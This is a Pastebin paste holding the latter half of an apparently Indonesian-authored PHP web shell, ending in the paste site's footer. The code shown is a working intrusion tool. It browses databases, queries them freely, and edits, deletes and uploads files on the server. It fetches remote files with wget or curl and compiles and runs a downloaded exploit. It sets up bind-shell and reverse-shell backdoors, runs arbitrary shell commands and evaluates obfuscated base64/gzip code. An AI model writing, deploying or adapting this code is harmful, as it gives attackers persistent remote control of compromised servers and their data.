  445. } elseif (isset($_GET['table']) && (!isset($_GET['sqlquery']))) {
  446. $db = $_GET['db'];
  447. $table = $_GET['table'];
  448. $query = "SELECT * FROM " . $db . "." . $table . " LIMIT 0,100;";
  449. $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <input type=\"hidden\" name=\"table\" value=\"" . $table . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
  450. $columns = array();
  451. $msg = "<table class=\"explore\" style=\"width:99%;\">";
  452. $hasil = @mysql_query("SHOW FIELDS FROM " . $db . "." . $table);
  453. while (list($column) = @mysql_fetch_row($hasil)) {
  454. $msg .= "<th>$column</th>";
  455. $kolum = $column;
  456. }
  457. $msg .= "</tr>";
  458. $hasil = @mysql_query("SELECT count(*) FROM " . $db . "." . $table);
  459. list($total) = mysql_fetch_row($hasil);
  460. if (isset($_GET['z']))
  461. $page = (int) $_GET['z'];
  462. else
  463. $page = 1;
  464. $pagenum = 100;
  465. $totpage = ceil($total / $pagenum);
  466. $start = (($page - 1) * $pagenum);
  467. $hasil = @mysql_query("SELECT * FROM " . $db . "." . $table . " LIMIT " . $start . "," . $pagenum);
  468. while ($datas = @mysql_fetch_assoc($hasil)) {
  469. $msg .= "<tr>";
  470. foreach ($datas as $data) {
  471. if (trim($data) == "")
  472. $data = "&nbsp;";
  473. $msg .= "<td>$data</td>";
  474. }
  475. $msg .= "</tr>";
  476. }
  477. $msg .= "</table>";
  478. $head = "<div style=\"padding:10px 0 0 6px;\"> <form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <input type=\"hidden\" name=\"table\" value=\"" . $table . "\" /> Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
  479. for ($i = 1; $i <= $totpage; $i++) {
  480. $head .= "<option value=\"" . $i . "\">" . $i . "</option>";
  481. if ($i == $_GET['z'])
  482. $head .= "<option value=\"" . $i . "\" selected=\"selected\">" . $i . "</option>";
  483. }
  484. $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
  485. $msg = $msgq . $head . $msg;
  486. } elseif (isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")) {
  487. $db = $_GET['db'];
  488. $query = magicboom($_GET['sqlquery']);
  489. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
  490. @mysql_select_db($db);
  491. $querys = explode(";", $query);
  492. foreach ($querys as $query) {
  493. if (trim($query) != "") {
  494. $hasil = mysql_query($query);
  495. if ($hasil) {
  496. $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . ";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
  497. $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
  498. for ($i = 0; $i < @mysql_num_fields($hasil); $i++)
  499. $msg .= "<th>" . htmlspecialchars(@mysql_field_name($hasil, $i)) . "</th>";
  500. $msg .= "</tr>";
  501. for ($i = 0; $i < @mysql_num_rows($hasil); $i++) {
  502. $rows = @mysql_fetch_array($hasil);
  503. $msg .= "<tr>";
  504. for ($j = 0; $j < @mysql_num_fields($hasil); $j++) {
  505. if ($rows[$j] == "")
  506. $dataz = "&nbsp;";
  507. else
  508. $dataz = $rows[$j];
  509. $msg .= "<td>" . $dataz . "</td>";
  510. }
  511. $msg .= "</tr>";
  512. }
  513. $msg .= "</table>";
  514. } else
  515. $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . ";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  516. }
  517. }
  518. } else {
  519. $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";
  520. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
  521. $dbs = array();
  522. $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
  523. $hasil = @mysql_list_dbs($con);
  524. while (list($db) = @mysql_fetch_row($hasil)) {
  525. @array_push($dbs, $db);
  526. }
  527. @sort($dbs);
  528. foreach ($dbs as $db) {
  529. $msg .= "<tr><td><a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $db . "\">$db</a></td></tr>";
  530. }
  531. $msg .= "</table>";
  532. }
  533. @mysql_close($con);
  534. } else
  535. $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
  536. echo $msg;
  537. } else {
  538. ?>
  539. <form action="?" method="get">
  540. <input type="hidden" name="y" value="<?php
  541. echo $pwd;
  542. ?>" /> <input type="hidden" name="x" value="mysql" />
  543. <table class="tabnet" style="width:300px;">
  544. <tr>
  545. <th colspan="2">Connect to mySQL server</th>
  546. </tr>
  547. <tr>
  548. <td>&nbsp;&nbsp;Host</td>
  549. <td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td>
  550. </tr>
  551. <tr>
  552. <td>&nbsp;&nbsp;Username</td>
  553. <td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td>
  554. </tr>
  555. <tr>
  556. <td>&nbsp;&nbsp;Password</td>
  557. <td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td>
  558. </tr>
  559. <tr>
  560. <td>&nbsp;&nbsp;Port</td>
  561. <td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
  562. </tr>
  563. </table>
  564. </form>
  565. <?php
  566. }
  567. } elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
  568. @ob_start();
  569. @eval("phpinfo();");
  570. $buff = @ob_get_contents();
  571. @ob_end_clean();
  572. $awal = strpos($buff, "<body>") + 6;
  573. $akhir = strpos($buff, "</body>");
  574. echo "<div class=\"phpinfo\">" . substr($buff, $awal, $akhir - $awal) . "</div>";
  575. } elseif (isset($_GET['x']) && ($_GET['x'] == 'logout')) {
  576. @session_start();
  577. @session_unregister("login");
  578. echo "<meta http-equiv='refresh' content='0; url=?y=" . $pwd . "' />";
  579. "</div>";
  580. } elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
  581. @eval(gzinflate(base64_decode($jumper)));
  582. "</div>";
  583. } elseif (isset($_GET['view']) && ($_GET['view'] != "")) {
  584. if (is_file($_GET['view'])) {
  585. if (!isset($file))
  586. $file = magicboom($_GET['view']);
  587. if (!$win && $posix) {
  588. $name = @posix_getpwuid(@fileowner($file));
  589. $group = @posix_getgrgid(@filegroup($file));
  590. $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
  591. } else {
  592. $owner = $user;
  593. }
  594. $filn = basename($file);
  595. echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> <tr><td>Filename</td><td><span id=\"" . clearspace($filn) . "_link\">" . $file . "</span> <form action=\"?y=" . $pwd . "&amp;view=$file\" method=\"post\" id=\"" . clearspace($filn) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"" . $filn . "\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $filn . "\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\" /> </form> </td></tr> <tr><td>Size</td><td>" . ukuran($file) . "</td></tr> <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr> <tr><td>Owner</td><td>" . $owner . "</td></tr> <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr> <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr> <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr> <tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=" . $pwd . "&amp;view=" . $file . "\">text</a> | <a href=\"?y=" . $pwd . "&amp;view=" . $file . "&amp;type=code\">code</a> | <a href=\"?y=" . $pwd . "&amp;view=" . $file . "&amp;type=image\">image</a></td></tr> </table> ";
  596. if (isset($_GET['type']) && ($_GET['type'] == 'image')) {
  597. echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=" . $pwd . "&amp;img=" . $filn . "\"></div>";
  598. } elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {
  599. echo "<div class=\"viewfile\">";
  600. $file = wordwrap(@file_get_contents($file), "240", "\n");
  601. @highlight_string($file);
  602. echo "</div>";
  603. } else {
  604. echo "<div class=\"viewfile\">";
  605. echo nl2br(htmlentities((@file_get_contents($file))));
  606. echo "</div>";
  607. }
  608. } elseif (is_dir($_GET['view'])) {
  609. echo showdir($pwd, $prompt);
  610. }
  611. } elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {
  612. if (isset($_POST['save'])) {
  613. $file = $_POST['saveas'];
  614. $content = magicboom($_POST['content']);
  615. if ($filez = @fopen($file, "w")) {
  616. $time = date("d-M-Y H:i", time());
  617. if (@fwrite($filez, $content))
  618. $msg = "file saved <span class=\"gaya\">@</span> " . $time;
  619. else
  620. $msg = "failed to save";
  621. @fclose($filez);
  622. } else
  623. $msg = "permission denied";
  624. }
  625. if (!isset($file))
  626. $file = $_GET['edit'];
  627. if ($filez = @fopen($file, "r")) {
  628. $content = "";
  629. while (!feof($filez)) {
  630. $content .= htmlentities(str_replace("''", "'", fgets($filez)));
  631. }
  632. @fclose($filez);
  633. }
  634. ?>
  635. <form action="?y=<?php
  636. echo $pwd;
  637. ?>&amp;edit=<?php
  638. echo $file;
  639. ?>" method="post">
  640. <table class="cmdbox">
  641. <tr>
  642. <td colspan="2"> <textarea class="output" name="content"> <?php
  643. echo $content;
  644. ?> </textarea>
  645. <tr>
  646. <td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php
  647. echo $file;
  648. ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php
  649. echo $msg;
  650. ?></td>
  651. </tr>
  652. </table>
  653. </form>
  654. <?php
  655. } elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {
  656. if (isset($_POST['uploadcomp'])) {
  657. if (is_uploaded_file($_FILES['file']['tmp_name'])) {
  658. $path = magicboom($_POST['path']);
  659. $fname = $_FILES['file']['name'];
  660. $tmp_name = $_FILES['file']['tmp_name'];
  661. $pindah = $path . $fname;
  662. $stat = @move_uploaded_file($tmp_name, $pindah);
  663. if ($stat) {
  664. $msg = "file uploaded to $pindah";
  665. } else
  666. $msg = "failed to upload $fname";
  667. } else
  668. $msg = "failed to upload $fname";
  669. } elseif (isset($_POST['uploadurl'])) {
  670. $pilihan = trim($_POST['pilihan']);
  671. $wurl = trim($_POST['wurl']);
  672. $path = magicboom($_POST['path']);
  673. $namafile = download($pilihan, $wurl);
  674. $pindah = $path . $namafile;
  675. if (is_file($pindah)) {
  676. $msg = "file uploaded to $pindah";
  677. } else
  678. $msg = "failed to upload $namafile";
  679. }
  680. ?>
  681. <form action="?y=<?php
  682. echo $pwd;
  683. ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  684. <table class="tabnet" style="width:320px;padding:0 1px;">
  685. <tr>
  686. <th colspan="2">Upload from computer</th>
  687. </tr>
  688. <tr>
  689. <td colspan="2">
  690. <p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p>
  691. </td>
  692. <tr>
  693. <td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php
  694. echo $pwd;
  695. ?>" /></td>
  696. </tr>
  697. </tr>
  698. </table>
  699. </form>
  700. <table class="tabnet" style="width:320px;padding:0 1px;">
  701. <tr>
  702. <th colspan="2">Upload from url</th>
  703. </tr>
  704. <tr>
  705. <td colspan="2">
  706. <form method="post" style="margin:0;padding:0;" actions="?y=<?php
  707. echo $pwd;
  708. ?>&amp;x=upload">
  709. <table>
  710. <tr>
  711. <td>url</td>
  712. <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td>
  713. </tr>
  714. <tr>
  715. <td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php
  716. echo $pwd;
  717. ?>" /></td>
  718. </tr>
  719. <tr>
  720. <td>
  721. <select size="1" class="inputz" name="pilihan">
  722. <option value="wwget">wget</option>
  723. <option value="wlynx">lynx</option>
  724. <option value="wfread">fread</option>
  725. <option value="wfetch">fetch</option>
  726. <option value="wlinks">links</option>
  727. <option value="wget">GET</option>
  728. <option value="wcurl">curl</option>
  729. </select>
  730. </td>
  731. <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td>
  732. </tr>
  733. </form>
  734. </table>
  735. </td>
  736. </tr>
  737. </table>
  738. <div style="text-align:center;margin:2px;"><?php
  739. echo $msg;
  740. ?></div>
  741. <?php
  742. } elseif (isset($_GET['x']) && ($_GET['x'] == 'netsploit')) {
  743. if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
  744. $port = trim($_POST['port']);
  745. $passwrd = trim($_POST['bind_pass']);
  746. tulis("bdc.c", $port_bind_bd_c);
  747. exe("gcc -o bdc bdc.c");
  748. exe("chmod 777 bdc");
  749. @unlink("bdc.c");
  750. exe("./bdc " . $port . " " . $passwrd . " &");
  751. $scan = exe("ps aux");
  752. if (eregi("./bdc $por", $scan)) {
  753. $msg = "<p>Process found running, backdoor setup successfully.</p>";
  754. } else {
  755. $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
  756. }
  757. } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
  758. $port = trim($_POST['port']);
  759. $passwrd = trim($_POST['bind_pass']);
  760. tulis("bdp", $port_bind_bd_pl);
  761. exe("chmod 777 bdp");
  762. $p2 = which("perl");
  763. exe($p2 . " bdp " . $port . " &");
  764. $scan = exe("ps aux");
  765. if (eregi("$p2 bdp $port", $scan)) {
  766. $msg = "<p>Process found running, backdoor setup successfully.</p>";
  767. } else {
  768. $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
  769. }
  770. } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
  771. $ip = trim($_POST['ip']);
  772. $port = trim($_POST['backport']);
  773. tulis("bcc.c", $back_connect_c);
  774. exe("gcc -o bcc bcc.c");
  775. exe("chmod 777 bcc");
  776. @unlink("bcc.c");
  777. exe("./bcc " . $ip . " " . $port . " &");
  778. $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
  779. } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
  780. $ip = trim($_POST['ip']);
  781. $port = trim($_POST['backport']);
  782. tulis("bcp", $back_connect);
  783. exe("chmod +x bcp");
  784. $p2 = which("perl");
  785. exe($p2 . " bcp " . $ip . " " . $port . " &");
  786. $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
  787. } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
  788. $pilihan = trim($_POST['pilihan']);
  789. $wurl = trim($_POST['wurl']);
  790. $namafile = download($pilihan, $wurl);
  791. if (is_file($namafile)) {
  792. $msg = exe($wcmd);
  793. } else
  794. $msg = "error: file not found $namafile";
  795. }
  796. ?>
  797. <table class="tabnet">
  798. <tr>
  799. <th>Port Binding</th>
  800. <th>Connect Back</th>
  801. <th>Load and Exploit</th>
  802. </tr>
  803. <tr>
  804. <td>
  805. <table>
  806. <form method="post" actions="?y=<?php
  807. echo $pwd;
  808. ?>&amp;x=netsploit">
  809. <tr>
  810. <td>Port</td>
  811. <td><input class="inputz" type="text" name="port" size="26" value="<?php
  812. echo $bindport;
  813. ?>"></td>
  814. </tr>
  815. <tr>
  816. <td>Password</td>
  817. <td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php
  818. echo $bindport_pass;
  819. ?>"></td>
  820. </tr>
  821. <tr>
  822. <td>Use</td>
  823. <td style="text-align:justify">
  824. <p>
  825. <select class="inputz" size="1" name="use">
  826. <option value="Perl">Perl</option>
  827. <option value="C">C</option>
  828. </select>
  829. <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px">
  830. </td>
  831. </tr>
  832. </form>
  833. </table>
  834. </td>
  835. <td>
  836. <table>
  837. <form method="post" actions="?y=<?php
  838. echo $pwd;
  839. ?>&amp;x=netsploit">
  840. <tr>
  841. <td>IP</td>
  842. <td><input class="inputz" type="text" name="ip" size="26" value="<?php
  843. echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));
  844. ?>"></td>
  845. </tr>
  846. <tr>
  847. <td>Port</td>
  848. <td><input class="inputz" type="text" name="backport" size="26" value="<?php
  849. echo $bindport;
  850. ?>"></td>
  851. </tr>
  852. <tr>
  853. <td>Use</td>
  854. <td style="text-align:justify">
  855. <p>
  856. <select size="1" class="inputz" name="use">
  857. <option value="Perl">Perl</option>
  858. <option value="C">C</option>
  859. </select>
  860. <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px">
  861. </td>
  862. </tr>
  863. </form>
  864. </table>
  865. </td>
  866. <td>
  867. <table>
  868. <form method="post" actions="?y=<?php
  869. echo $pwd;
  870. ?>&amp;x=netsploit">
  871. <tr>
  872. <td>url</td>
  873. <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td>
  874. </tr>
  875. <tr>
  876. <td>cmd</td>
  877. <td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
  878. </tr>
  879. <tr>
  880. <td>
  881. <select size="1" class="inputz" name="pilihan">
  882. <option value="wwget">wget</option>
  883. <option value="wlynx">lynx</option>
  884. <option value="wfread">fread</option>
  885. <option value="wfetch">fetch</option>
  886. <option value="wlinks">links</option>
  887. <option value="wget">GET</option>
  888. <option value="wcurl">curl</option>
  889. </select>
  890. </td>
  891. <td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td>
  892. </tr>
  893. </form>
  894. </table>
  895. </td>
  896. </tr>
  897. </table>
  898. <div style="text-align:center;margin:2px;"><?php
  899. echo $msg;
  900. ?></div>
  901. <?php
  902. } elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) {
  903. ?>
  904. <form action="?y=<?php
  905. echo $pwd;
  906. ?>&amp;x=shell" method="post">
  907. <table class="cmdbox">
  908. <tr>
  909. <td colspan="2"> <textarea class="output" readonly> <?php
  910. if (isset($_POST['submitcmd'])) {
  911. echo @exe($_POST['cmd']);
  912. }
  913. ?> </textarea>
  914. <tr>
  915. <td colspan="2"><?php
  916. echo $prompt;
  917. ?> <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td>
  918. </tr>
  919. </table>
  920. </form>
  921. <?php
  922. } else {
  923. if (isset($_GET['delete']) && ($_GET['delete'] != "")) {
  924. $file = $_GET['delete'];
  925. @unlink($file);
  926. } elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
  927. @rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR));
  928. } elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
  929. $path = $pwd . $_GET['mkdir'];
  930. @mkdir($path);
  931. }
  932. $buff = showdir($pwd, $prompt);
  933. echo $buff;
  934. }
  935. ?>
  936. <div class="info">[Edited <span class="gaya"><a href="?"><?php
  937. echo $xName;
  938. ?></a></span> EditioN__]</div>
  939. <div class="jaya"> &copy; <?php
  940. echo date("Y", time()) . " " . $xName;
  941. ?> ;-) </div>
  942. </div>
  943. </body>
  944. </html>>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!